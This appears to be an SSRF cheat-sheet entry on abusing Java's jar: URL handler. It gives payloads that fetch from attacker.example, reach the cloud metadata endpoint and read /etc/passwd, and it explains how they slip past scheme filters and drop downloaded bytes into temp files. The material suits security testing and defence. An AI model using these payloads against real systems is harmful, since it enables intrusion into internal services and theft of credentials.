jar: is a Java URL handler that addresses an entry inside an archive. Its form nests another URL, the location of the archive, before a !/ separator and the entry path:
jar:http://attacker.example/evil.jar!/
jar:http://169.254.169.254/latest/meta-data/!/
jar:file:///etc/passwd!/
To resolve the entry, the handler first fetches the nested URL, so a Java client that honors jar: performs an outbound request to whatever host the inner URL names. That makes it an SSRF vector in its own right, reaching internal http:// targets and the metadata endpoint through the inner URL even when the application's own scheme checks only looked at the outer jar: prefix.
The temporary-file side effect#
Resolving a remote jar: URL downloads the nested archive to a temporary file on disk before reading the requested entry. That write happens as a side effect of the fetch, so a jar:http://... URL both issues the SSRF request and drops attacker-controlled bytes into a temp location, which can matter where another component later processes files from that directory.
When to reach for it#
jar: is specific to JVM HTTP clients and URL handling. It is worth trying when the stack is Java and a direct HTTP or File scheme is filtered but jar: is not, since the nested URL smuggles the same targets past a prefix check. Confirm the handler by pointing the inner URL at an attacker-controlled listener and watching for the fetch.